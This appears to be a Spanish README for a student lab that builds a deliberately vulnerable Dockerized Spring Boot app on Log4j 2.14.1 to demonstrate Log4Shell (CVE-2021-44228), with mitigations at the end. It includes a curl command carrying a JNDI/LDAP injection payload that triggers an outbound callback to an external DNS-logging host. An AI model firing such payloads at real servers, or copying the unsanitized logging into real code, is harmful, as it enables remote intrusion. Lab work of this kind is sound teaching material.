
Estudio técnico e implementación de un entorno de prueba para la vulnerabilidad Apache Log4j (CVE-2021-44228). Contiene un PoC (Prueba de Concepto) dockerizado y una propuesta de actualización de la PSSI. Para un objetivo de TP.
Este proyecto es un entorno de prueba controlado que permite reproducir y comprender la falla crítica Log4Shell (CVE-2021-44228) que afecta a la biblioteca Apache Log4j.
Secutp1/
├── Dockerfile # Construcción de la imagen Docker
├── pom.xml # Dependencias Maven (Log4j 2.14.1 vulnerable)
├── README.md # Este archivo
└── src/
└── main/
└── java/
└── com/
└── example/
└── VulnerableApplication.java # Aplicación Spring Boot vulnerable
Demostrar cómo un atacante puede explotar la falla CVE-2021-44228 para forzar a un servidor a realizar una conexión de red saliente no autorizada, simplemente enviando una cadena de caracteres maliciosa.
pom.xml)El archivo pom.xml fuerza el uso de Log4j 2.14.1, una versión anterior al parche de seguridad:
<log4j2.version>2.14.1</log4j2.version>
Esta versión contiene la clase JndiLookup activada por defecto, que es la raíz del problema.
VulnerableApplication.java)La aplicación expone un servicio web REST. La vulnerabilidad se encuentra en el método index:
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
// LA LÍNEA VULNERABLE:
logger.info("Requête reçue, input : " + input);
return "Bonjour ! Votre input a été loggé : " + input;
}
Problema : La aplicación obtiene un parámetro de usuario (input) y lo pasa directamente a logger.info() sin ningún filtrado. Log4j interpreta entonces el contenido como un comando potencial.
Dockerfile)El Dockerfile utiliza una construcción en dos etapas:
maven:3.8.4-openjdk-11)eclipse-temurin:11-jre💡 El uso de Java 11 es relevante porque las versiones más recientes restringen por defecto la carga de clases remotas.
La explotación se basa en la inyección JNDI (Java Naming and Directory Interface):
${jndi:protocolo://url} en los logsAsegúrese de que los siguientes archivos estén en la misma carpeta:
Dockerfilepom.xmlsrc/main/java/com/example/VulnerableApplication.javadocker build -t vulnerable-app .
Este comando descarga las dependencias Maven (Log4j 2.14.1) y crea la imagen.
docker run -p 8080:8080 --name demo-log4j vulnerable-app
La aplicación ahora escucha en el puerto 8080.
Diríjase a un servicio de logging DNS:
Copie la dirección proporcionada (ej: mi-prueba.dnslog.cn)
En una nueva terminal, ejecute el siguiente comando:
curl "http://localhost:8080/?input=\${jndi:ldap://mi-prueba.dnslog.cn/a}"
📝 Nota : El carácter
\sirve para escapar el$en el terminal.
Vuelva al sitio dnslog. Verá una consulta DNS aparecer, confirmando que el servidor ejecutó el código inyectado.
| Paso | Acción |
|---|---|
| 1 | La aplicación Java recibe la solicitud HTTP |
| 2 | La línea logger.info(...) procesa el parámetro input |
| 3 | Log4j detecta la sintaxis ${jndi:...} |
| 4 | Log4j ejecuta la resolución LDAP hacia el servidor remoto |
| 5 | Aparece una consulta DNS en la interfaz DNSLog |
El servidor realizó una conexión saliente hacia una máquina externa simplemente al registrar una solicitud de usuario.
En un escenario real, esta conexión habría permitido:
Para corregir esta vulnerabilidad:
-Dlog4j2.formatMsgNoLookups=trueEste proyecto se proporciona únicamente con fines educativos. Úselo de manera responsable y ética.